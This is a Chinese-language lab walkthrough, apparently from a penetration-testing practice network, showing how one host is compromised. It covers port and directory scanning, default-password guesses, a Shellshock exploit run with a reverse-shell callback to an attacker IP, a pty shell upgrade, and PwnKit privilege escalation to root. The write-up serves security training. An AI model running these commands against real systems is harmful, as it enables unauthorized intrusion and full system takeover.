信息收集

nmap -p- --min-rate 10000 -A 10.11.1.7122/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)

./nmapAutomator.sh --host 10.11.1.71 --type All

80

首先进行

support@bigtreecms.org

目录爆破

gobuster dir -u http://10.11.1.71/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 

发现了phpmyadmin目录

我将尝试下面的弱口令
admin \ “” (blank), admin \ admin, admin \ password
root \ “” (blank), root \ root, root \ password

可惜都失败了
紧接着我将查看刚才扫描出来的readme

curl 10.11.1.71/README.md

没有任何东西

紧接着，由于这是apache服务器，我将查看cgi

这个挺有意思
这与我们哟哦能够自动扫描具有同样的结果

自动扫描结果如下，显示他可能收到shellshock攻击

OSVDB-112004: /cgi-bin/admin.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/admin.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278)

我利用如下的脚本利用

https://github.com/b4keSn4ke/CVE-2014-6271python exp.py 192.168.119.207 8888 http://10.11.1.71/cgi-bin/admin.cgi

我们成功获得了www用户

接着获取一个稳定的shell

python -c 'import pty;pty.spawn ("/bin/bash")'

接下来我们用linpeas.sh去枚举一些信息
发现橘黄色信号
利用的脚本如下
https://github.com/c3c/CVE-2021-4034
而后传输赋权即可

我们获得了root
紧接着在root目录中获得最终flag
